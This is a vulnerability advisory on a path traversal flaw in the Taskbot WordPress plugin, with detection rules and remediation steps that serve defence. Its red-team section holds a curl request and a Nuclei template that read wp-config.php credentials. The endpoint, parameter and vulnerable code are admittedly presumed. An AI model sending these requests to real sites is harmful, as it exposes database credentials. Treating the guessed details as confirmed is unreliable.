CVE-2025-58959

Executive Summary

CVE-2025-58959 is a Path Traversal vulnerability (CWE-22) affecting the Taskbot plugin for WordPress, developed by AmentoTech. This vulnerability allows an unauthenticated attacker to read arbitrary files on the server by manipulating file paths. The CVSS score of 7.7 (High) reflects the ease of exploitation and the potential for significant confidentiality impact. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin (Taskbot). WordPress plugins are a common vector for supply chain attacks, as they are often installed with elevated privileges and can be exploited to compromise the entire site. The lack of a patch increases the risk for all sites running Taskbot <= 6.4.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) - Full file read access.
• Integrity (I): None (N) - No file modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to the disclosure of sensitive data such as wp-config.php, database credentials, and other server files.

Deep Dive & Mechanics

The vulnerability lies in the improper sanitization of user-supplied file paths within the Taskbot plugin. The plugin likely uses a function like file_get_contents(), include(), or readfile() with a path derived from user input (e.g., via a GET or POST parameter). Without proper validation, an attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files.

Example vulnerable parameter: ?file=download&path=

A typical request might look like:

GET /wp-content/plugins/taskbot/download.php?path=../../../wp-config.php HTTP/1.1

The plugin fails to check if the resolved path is within the allowed directory, allowing the attacker to read sensitive files.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to:

Vulnerable Code (PHP):

<?php
$file_path = $_GET['path'];
$content = file_get_contents($file_path);
echo $content;
?>

Patched Code (Hypothetical):

<?php
$allowed_dir = realpath(__DIR__ . '/uploads/');
$file_path = realpath(__DIR__ . '/uploads/' . basename($_GET['path']));
if (strpos($file_path, $allowed_dir) === 0 && file_exists($file_path)) {
    $content = file_get_contents($file_path);
    echo $content;
} else {
    http_response_code(403);
    echo 'Forbidden';
}
?>

The patched version uses realpath() to resolve the path and then checks that it starts with the allowed directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Taskbot plugin version <= 6.4.
• Knowledge of the target's base URL.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/taskbot/download.php).
2. Craft a request with path traversal to read sensitive files.

Example using cURL:

curl "http://target.com/wp-content/plugins/taskbot/download.php?path=../../../wp-config.php"

Expected Output: The contents of wp-config.php, including database credentials and authentication keys.

Automated Scanning with Nuclei (if template were available):

id: CVE-2025-58959
info:
  name: Taskbot Path Traversal
  severity: high
  description: Path traversal in Taskbot plugin
requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/taskbot/download.php?path=../../../wp-config.php"
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for requests containing ../ or ..\\ in query parameters.
• Look for requests to /wp-content/plugins/taskbot/download.php with suspicious path parameters.

Prevention:

• Apply a Web Application Firewall (WAF) rule to block path traversal patterns.
• Disable the Taskbot plugin until a patch is available.
• Restrict file read functions in PHP using open_basedir.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ in the path parameter.
  • Requests to /wp-content/plugins/taskbot/download.php.
  • Outbound connections from the server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unexpected access to /etc/passwd, wp-config.php, or other sensitive files.
  • Modified or new files in the web root (if combined with other vulnerabilities).

• Log IOCs:

  • Web server logs showing 200 responses to path traversal attempts.
  • PHP error logs indicating failed file reads.

Detection Engineering

YARA Rule

rule CVE_2025_58959_Taskbot_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Taskbot plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58959"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $plugin_path = "/wp-content/plugins/taskbot/download.php"
    condition:
        $plugin_path and (#traversal1 > 0 or #traversal2 > 0)
}

Sigma Rule

title: CVE-2025-58959 Taskbot Path Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts against the Taskbot WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "../"
            - "..\\"
        cs-uri-stem|contains: "/wp-content/plugins/taskbot/download.php"
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58959 Taskbot Path Traversal Attempt"; flow:to_server; content:"/wp-content/plugins/taskbot/download.php"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Taskbot plugin until a patch is released.
2. Implement a WAF rule to block path traversal patterns (e.g., ../).
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be 640).

Long-term Fix:

• Apply the vendor's patch once available.
• Conduct a security audit of all WordPress plugins.
• Use a file integrity monitoring tool to detect unauthorized file access.

Workaround:

• If the plugin is critical, modify the vulnerable PHP file to sanitize input using basename() and realpath() as shown in the patched code example.

Valters IT
Securing Digital Frontiers